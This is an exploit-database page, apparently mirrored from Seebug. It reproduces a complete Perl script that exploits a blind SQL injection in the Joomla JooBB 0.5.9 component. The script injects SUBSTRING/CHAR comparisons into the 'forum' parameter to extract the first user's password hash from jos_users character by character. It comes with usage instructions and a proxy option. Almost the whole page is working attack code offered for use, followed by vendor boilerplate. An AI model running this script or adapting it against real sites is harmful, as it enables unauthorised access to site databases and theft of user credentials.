Lucene search
K

Joomla Component JooBB 0.5.9 Blind SQL Injection Exploit

🗓️ 02 Jun 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Joomla Component JooBB 0.5.9 Blind SQL Injection Exploit. Author: His0k4. Contact: His0k4.hlm[at]gamil.com. Greetz: All friends & muslims HacKeRs, http://www.palcastle.org/cc. Usage: perl jobb.pl host path <options>. Example: perl jobb.pl www.host.com /joomla/ -f 1. Options

Code

                                                #!/usr/bin/perl
use&nbsp;LWP::UserAgent;
use&nbsp;Getopt::Long;

if(!$ARGV[1])
{
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#############################################################\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Joomla&nbsp;Component&nbsp;Joo!BB&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Author:His0k4&nbsp;[ALGERIAN&nbsp;HaCkeR]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Conctact:&nbsp;His0k4.hlm[at]gamil.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Greetz:&nbsp;&nbsp;&nbsp;All&nbsp;friends&nbsp;&amp;&nbsp;muslims&nbsp;HacKeRs&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Greetz2:&nbsp;&nbsp;http://www.palcastle.org/cc&nbsp;:)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Usage:&nbsp;&nbsp;&nbsp;perl&nbsp;jobb.pl&nbsp;host&nbsp;path&nbsp;&lt;options&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Example:&nbsp;perl&nbsp;jobb.pl&nbsp;www.host.com&nbsp;/joomla/&nbsp;-f&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Options:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-f&nbsp;&nbsp;&nbsp;&nbsp;Forum&nbsp;&nbsp;id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;Note:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;If&nbsp;you&nbsp;need&nbsp;to&nbsp;change&nbsp;the&nbsp;match&nbsp;value&nbsp;so&nbsp;do&nbsp;it&nbsp;:D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;#############################################################\n&quot;;
&nbsp;&nbsp;exit;
}

my&nbsp;$host&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$ARGV[0];
my&nbsp;$path&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$ARGV[1];
my&nbsp;$userid&nbsp;&nbsp;=&nbsp;1;
my&nbsp;$fid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$ARGV[2];

my&nbsp;%options&nbsp;=&nbsp;();
GetOptions(\%options,&nbsp;&quot;u=i&quot;,&nbsp;&quot;p=s&quot;,&nbsp;&quot;f=i&quot;);

print&nbsp;&quot;[~]&nbsp;Exploiting...\n&quot;;

if($options{&quot;u&quot;})
{
&nbsp;&nbsp;$userid&nbsp;=&nbsp;$options{&quot;u&quot;};
}

if($options{&quot;f&quot;})
{
&nbsp;&nbsp;$fid&nbsp;=&nbsp;$options{&quot;f&quot;};
}

syswrite(STDOUT,&nbsp;&quot;[~]&nbsp;MD5-Hash:&nbsp;&quot;,&nbsp;14);

for(my&nbsp;$i&nbsp;=&nbsp;1;&nbsp;$i&nbsp;&lt;=&nbsp;32;&nbsp;$i++)
{
&nbsp;&nbsp;my&nbsp;$f&nbsp;=&nbsp;0;
&nbsp;&nbsp;my&nbsp;$h&nbsp;=&nbsp;48;
&nbsp;&nbsp;while(!$f&nbsp;&amp;&amp;&nbsp;$h&nbsp;&lt;=&nbsp;57)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;if(istrue2($host,&nbsp;$path,&nbsp;$userid,&nbsp;$fid,&nbsp;$i,&nbsp;$h))
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$f&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;syswrite(STDOUT,&nbsp;chr($h),&nbsp;1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;$h++;
&nbsp;&nbsp;}
&nbsp;&nbsp;if(!$f)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$h&nbsp;=&nbsp;97;
&nbsp;&nbsp;&nbsp;&nbsp;while(!$f&nbsp;&amp;&amp;&nbsp;$h&nbsp;&lt;=&nbsp;122)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(istrue2($host,&nbsp;$path,&nbsp;$userid,&nbsp;$fid,&nbsp;$i,&nbsp;$h))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$f&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;syswrite(STDOUT,&nbsp;chr($h),&nbsp;1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$h++;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
}

print&nbsp;&quot;\n[~]&nbsp;Exploiting&nbsp;done\n&quot;;

sub&nbsp;istrue2
{
&nbsp;&nbsp;my&nbsp;$host&nbsp;&nbsp;=&nbsp;shift;
&nbsp;&nbsp;my&nbsp;$path&nbsp;&nbsp;=&nbsp;shift;
&nbsp;&nbsp;my&nbsp;$uid&nbsp;&nbsp;&nbsp;=&nbsp;shift;
&nbsp;&nbsp;my&nbsp;$fid&nbsp;&nbsp;&nbsp;=&nbsp;shift;
&nbsp;&nbsp;my&nbsp;$i&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;shift;
&nbsp;&nbsp;my&nbsp;$h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;shift;
&nbsp;
&nbsp;&nbsp;my&nbsp;$ua&nbsp;=&nbsp;LWP::UserAgent-&gt;new;
&nbsp;&nbsp;my&nbsp;$query&nbsp;=&nbsp;&quot;http://&quot;.$host.$path.&quot;index.php?option=com_joobb&amp;view=forum&amp;forum=&quot;.$fid.&quot;&nbsp;and&nbsp;(SUBSTRING((SELECT&nbsp;password&nbsp;FROM&nbsp;jos_users&nbsp;LIMIT&nbsp;0,1&nbsp;),&quot;.$i.&quot;,1))=CHAR(&quot;.$h.&quot;)&quot;;
&nbsp;
&nbsp;&nbsp;if($options{&quot;p&quot;})
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ua-&gt;proxy('http',&nbsp;&quot;http://&quot;.$options{&quot;p&quot;});
&nbsp;&nbsp;}
&nbsp;
&nbsp;&nbsp;my&nbsp;$resp&nbsp;=&nbsp;$ua-&gt;get($query);
&nbsp;&nbsp;my&nbsp;$content&nbsp;=&nbsp;$resp-&gt;content;
&nbsp;&nbsp;my&nbsp;$regexp&nbsp;=&nbsp;&quot;Announcements&quot;;
&nbsp;
&nbsp;&nbsp;if($content&nbsp;=~&nbsp;/$regexp/)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;1;
&nbsp;&nbsp;}
&nbsp;&nbsp;else
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;
&nbsp;&nbsp;}

}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation